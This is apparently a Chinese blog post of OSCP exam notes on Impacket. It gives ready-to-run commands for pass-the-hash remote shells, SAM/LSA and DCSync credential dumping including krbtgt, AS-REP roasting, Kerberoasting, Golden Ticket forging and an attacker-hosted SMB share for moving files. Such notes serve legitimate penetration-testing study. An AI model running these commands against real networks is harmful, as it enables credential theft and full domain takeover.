踩坑|oscp考试中域渗透和横向工具impacket-scripts脚本使用方法
原创
小白哥
小白哥
小白安全成长记
2026年10月15日 15:31
河北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
书到用时方恨少,既然踩坑了,还是有必要记录一下,高手略过,有考过的铁子也可以一起来交流交流,学习学习铁子们的方法,主要是域渗透和横向工具impacket的使用。
Impacket 是 OSCP(尤其是 AD 部分和横向移动)中最核心的工具集之一。Kali 上通常以 impacket- 前缀安装(如 impacket-secretsdump、impacket-psexec),也可直接用 python3 /usr/share/doc/python3-impacket/examples/xxx.py。
常用参数格式
几乎所有脚本的目标格式统一为:
[[domain/]username[:password]@]<targetName or address>
常用参数(多数脚本通用):
-hashes LMHASH:NTHASH或-hashes :NTHASH(Pass-the-Hash,最常用)-k -no-pass(使用 Kerberos ticket,需先export KRB5CCNAME=ticket.ccache)-dc-ip <DC_IP>(指定域控 IP,强烈推荐,尤其 Kerberos 相关)-target-ip <IP>(当主机名解析有问题时)-debug(调试用)
特别要注意:
- 密码含特殊字符时用单引号包起来,或省略密码让它交互输入。
- 时钟偏差(Clock skew)常见错误:先同步时间
sudo ntpdate <DC_IP>或sudo chronyd -q。(吃亏+1) - Kali 上优先用带
impacket-前缀的命令。
1. 远程执行类(横向移动核心)
这些工具都需要目标上的本地管理员权限。一个失败就换另一个。
| 脚本 | 特点 | 推荐场景 |
|---|---|---|
| psexec.py | 上传二进制 + 创建服务,真正交互式 SYSTEM shell | 需要完整交互 shell |
| smbexec.py | 通过服务执行,不落地二进制(相对干净) | psexec 失败时首选替代 |
| wmiexec.py | 通过 WMI/DCOM,半交互,日志相对少 | 优先尝试(较静默) |
| atexec.py | 通过计划任务 | 其他失败时备用 |
| dcomexec.py | 通过 DCOM 对象 | 备用 |
常用命令示例:
# 密码认证
impacket-psexec domain/user:[email protected]
impacket-wmiexec domain/user:[email protected]
impacket-smbexec domain/user:[email protected]
# Pass-the-Hash
impacket-psexec domain/[email protected] -hashes :aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
impacket-wmiexec domain/[email protected] -hashes :NTHASH
# Kerberos
export KRB5CCNAME=admin.ccache
impacket-psexec domain/user@target -k -no-pass -dc-ip 10.10.10.10
# 执行单条命令
impacket-wmiexec domain/user:[email protected] \"whoami /all\"
考试时候的建议:先试 wmiexec → smbexec → psexec。psexec 有时会因服务残留导致后续失败。
2. 凭证转储(secretsdump.py)——最重要
# 本地管理员权限转储 SAM + LSA
impacket-secretsdump domain/user:[email protected]
impacket-secretsdump domain/[email protected] -hashes :NTHASH
# 域控 DCSync(需要 Replicating Directory Changes 权限 或 DA)
impacket-secretsdump domain/da:pass@dc_ip -just-dc
impacket-secretsdump domain/da:pass@dc_ip -just-dc-ntlm # 只要 NTLM
impacket-secretsdump domain/da:pass@dc_ip -just-dc-user krbtgt # 只拿 krbtgt(Golden Ticket)
impacket-secretsdump domain/da:pass@dc_ip -just-dc-user Administrator
# 离线解析(已拿到 SAM + SYSTEM hive)
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
输出包含:
- SAM(本地账号)
- LSA Secrets
- Cached Domain Logon
- NTDS(域控时)
破解相关:
- NTLM →
hashcat -m 1000 - AS-REP →
hashcat -m 18200 - Kerberoast →
hashcat -m 13100(RC4)
3. Kerberos 攻击(AD 必考)
AS-REP Roasting(GetNPUsers.py)
无需凭据,找“不要求 Kerberos 预认证”的账号。
# 用户列表(最常用)
impacket-GetNPUsers domain/ -usersfile users.txt -dc-ip 10.10.10.10 -no-pass -format hashcat -outputfile asrep.txt
# 有凭据时自动枚举
impacket-GetNPUsers domain/user:pass -dc-ip 10.10.10.10 -request -format hashcat -outputfile asrep.txt
Kerberoasting(GetUserSPNs.py)
任意域用户权限即可。
# 枚举 + 请求 TGS
impacket-GetUserSPNs domain/user:pass -dc-ip 10.10.10.10 -request -outputfile kerberoast.txt
# Pass-the-Hash
impacket-GetUserSPNs domain/user -hashes :NTHASH -dc-ip 10.10.10.10 -request
4. 文件传输 / SMB 操作
# 交互式 SMB 客户端
impacket-smbclient domain/user:[email protected]
# 内部命令:shares → use C$ → ls → get/put → exit
# 在攻击机起 SMB 服务器(文件传输神器)
impacket-smbserver share /path/to/folder -smb2support
# 目标机执行:copy \\\\attacker_ip\\share\\file.exe C:\\temp\\
5. 其他高频实用脚本
- mssqlclient.py:连接 MSSQL
impacket-mssqlclient domain/user:pass@sql_ip -windows-auth
# 开启 xp_cmdshell 后执行命令
* lookupsid.py:SID 暴力枚举用户
impacket-lookupsid domain/user:pass@target
* getTGT.py:获取 TGT
impacket-getTGT domain/user:pass -dc-ip dc_ip
export KRB5CCNAME=user.ccache
* ticketer.py:伪造 Golden/Silver Ticket(拿到 krbtgt 后)
impacket-ticketer.py -nthash <krbtgt_ntlm> -domain-sid S-1-5-21-... -domain domain.local Administrator
实战使用顺序建议
- 无凭据阶段:
GetNPUsers(AS-REP)→ 爆破用户名 → Kerberoast(有低权限账号后) - 有低权限账号:
GetUserSPNs+smbclient枚举共享 - 获得本地管理员 / 高权限:
secretsdump→psexec/wmiexec/smbexec横向 - 拿到 DA 或 DCSync 权限:
secretsdump -just-dc→ 全域哈希 - 文件传输:优先用
smbserver+copy,或smbclient的get/put
常见问题与排查
- STATUS\_LOGON\_FAILURE:凭据错误 / 哈希格式问题 / 域前缀错误
- Clock skew too great:同步时间
- Access Denied:权限不足或目标加固(尝试换执行方式)
- SMB 连接失败:检查防火墙、SMB signing、端口 445
- 服务残留导致 psexec 失败:用其他执行工具或手动清理
一些参考来源
- 官方仓库:https://github.com/fortra/impacket
- Kali 自带,直接
impacket-<tab>即可查看所有脚本 - OSCP 中 secretsdump + psexec/wmiexec + GetNPUsers/GetUserSPNs ,务必熟练到不用查笔记的程度
- 考试时优先用
-hashes和-dc-ip,减少变量,一定要多看看考试指南,哪些能做哪些不能做,考试途中去厕所回来要和考官说啊。。。。。。。
- END -
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论